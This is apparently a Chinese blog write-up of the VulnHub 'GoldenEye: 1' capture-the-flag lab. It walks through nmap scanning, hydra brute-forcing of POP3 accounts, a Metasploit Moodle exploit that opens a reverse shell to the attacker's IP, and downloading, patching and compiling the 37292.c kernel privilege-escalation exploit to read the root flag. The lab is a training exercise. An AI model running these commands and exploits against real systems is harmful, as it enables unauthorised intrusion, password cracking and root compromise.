GoldenEye: 1靶场渗透

发布于:2025-04-03 ⋅ 阅读:(11) ⋅ 点赞:(0)

GoldenEye: 1

来自 <GoldenEye: 1 ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.223

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.223

服务80端口开放的http服务

根据提示访问/sev-home/页面

结果立马弹出来一个登录弹窗

4,查看页面源代码

view-source:http://192.168.23.223/terminal.js

根据页面可以得到信息:

&#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;
解密得到用户登录密码

用户名boris、natalya

密码:InvincibleHack3r

5,登录成功

GoldenEye (黄金眼)

GoldenEye 是一个绝密的苏联原始武器项目。既然您有访问权限,那么您肯定拥有绝密许可,并有资格成为经过认证的 GoldenEye 网络运营商 (GNO)

请向合格的 GNO 主管发送电子邮件,以接受在线 GoldenEye作员培训,成为 GoldenEye 系统的管理员

请记住,由于通过隐匿性实现安全性非常有效,因此我们将 pop3 服务配置为在非常高的非默认端口上运行

根据提示就能够推测pop服务运行在nmap扫描得到的55007端口上。并且查看页面源代码得到:

view-source:http://192.168.23.223/sev-home/

6,将两个用户名(boris,natalya)保存到文件user.txt中,使用hydra爆破这两个用户登录pop的密码

hydra命令参数

  • -s:指定端口
  • 192.168.23.223:ip地址不加参数 直接写
  • pop3:服务名字不加参数 直接写
  • -L:字典文件
  • -v:显示详细信息

hydra 192.168.23.223 -s 55007 pop3 -L user.txt -P /usr/share/wordlists/fasttrack.txt -v

成功破解出来账户密码

login: natalya   password: bird

login: boris   password: secret1!

用nc连接pop3服务,登录这两个账号查看邮箱里面的邮件信息

nc 192.168.23.223 55007

user natalya

pass bird

list

retr 1

user boris

pass secret1!

list

retr 1

得到提示如下:

  • 用户名 alec
  • 网站用户名密码(不是邮箱用户名密码) xenia/RCP90rulez!
  • 设置本机系统host文件添加一行内容为 192.168.23.223 severnaya-station.com

7,访问网站域名severnaya-station.com。

Loading...

Loading... 在这个页面尝试登录

账户密码就用此前收集到的,登录成功

在My profile——Messages——选择Recent conversations看到一个doak发来的消息,得到新的邮箱用户名doak

得到的信息,然后使用hydra爆破出来用户登录账户密码

  • 邮件用户名:doak
  • cms版本:moodle 2.2.3

hydra 192.168.23.223 -s 55007 pop3 -l doak -P /usr/share/wordlists/fasttrack.txt -v

再次登录邮件服务器查看信息

得到用户名密码dr_doak/4England!

8,登录这个用户

在"Home"-->"My profile"-->"My private files"找到了s3cret.txt

得到重要提示

007,

我能够通过明文 txt 捕获此应用程序 adm1n cr3ds。

GoldenEye 服务器中大多数 Web 应用程序中的文本都会被扫描,因此我无法在此处添加 cr3dentials。

这里有一些有趣的东西:/dir007key/for-007.jpg

另外,您可能知道,RCP-90 远优于任何其他武器,而 License to Kill 是唯一的游戏方式。

9,尝试下载/dir007key/for-007.jpg图片并分析

wget http://severnaya-station.com/dir007key/for-007.jpg

strings for-007.jpg

得到eFdpbnRlcjE5OTV4IQ==

base64解密得到xWinter1995x! 猜测是admin的密码了

10,然后再在网站登录admin用户

whatweb -v Loading...

检索moodle这个框架的版本漏洞

searchsploit moodle 2

漏洞攻击前需要在设置中修改: Home ——Site administration——Plugins——Text editors——TinyMCE HTML editor 来到此处,修改PSpellShell然后save!否则会失败

11,启动melasploit

msfconsole                       

search moodle                   

use 1                      

set username admin               

set password xWinter1995x!      

set rhost severnaya-station.com  

set targeturi /gnocertdir        

set payload cmd/unix/reverse    

set lhost 192.168.23.182    

exploit 

成功getshell打进服务器网站,然后python启动一个交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

12,查看内核版本,期望通过过低的内核版本来获取公开的exp以实现权限提升

searchsploit local privilege Escalation |grep "Kernel 3"

这里使用37292.c

searchsploit -m 37292.c

这个靶场在枚举信息知道:无法进行GCC编译,需要编译脚本的工具为cc

vim 37292.c   

第143行将gcc改为cc  

然后在本目录下开启http服务:python -m http.server

去往/tmp目录下下载脚本

wget http://192.168.23.182:8000/37292.c   

成功下载后执行cc编译:

cc -o exp 37292.c   

错误原因分析

1. unshare 函数报错

  • 错误信息:implicit declaration of function ‘unshare’
  • 原因:unshare 是Linux特有的系统调用,需要包含头文件 <sched.h>,并启用GNU扩展宏 _GNU_SOURCE。
  • 解决方案
    #define _GNU_SOURCE    // 启用GNU扩展(必须放在文件最顶部)
    #include <sched.h>     // 包含 unshare 和 clone 的声明

2. clone 函数报错

  • 错误信息:implicit declaration of function ‘clone’; did you mean ‘close’?
  • 原因:clone 函数同样依赖 <sched.h> 和 _GNU_SOURCE 宏。
  • 额外检查:clone 的函数签名是否正确?
    int clone(int (*fn)(void *), void *stack, int flags, void *arg, ...);

3. waitpid 和 wait 函数报错

  • 错误信息:implicit declaration of function ‘waitpid’ 和 implicit declaration of function ‘wait’
  • 原因:未包含进程等待相关头文件 <sys/wait.h>。
  • 解决方案
    #include <sys/wait.h>  // 提供 waitpid 和 wait 的声明

完整修复步骤

  1. 在代码最顶部添加宏定义
    #define _GNU_SOURCE    // 必须放在所有头文件包含之前
  2. 补充缺失的头文件
    #include <sched.h>
    #include <sys/wait.h>
  3. 检查函数参数(如clone):
    • 确保 clone 的第一个参数是函数指针,且函数签名匹配:
      int child_exec(void *arg);  // 子进程执行函数需定义为这种形式
  4. 编译命令
    • 添加 -Wall 和 -Wextra 显示详细警告:
      gcc -Wall -Wextra 37292.c -o output
    • 若涉及线程,可能需要链接 -lpthread。

cc -o exp 37292.c 

chmod +x exp       

./exp              

id                  

cat /root/.flag.txt

成功提权并且获取到flag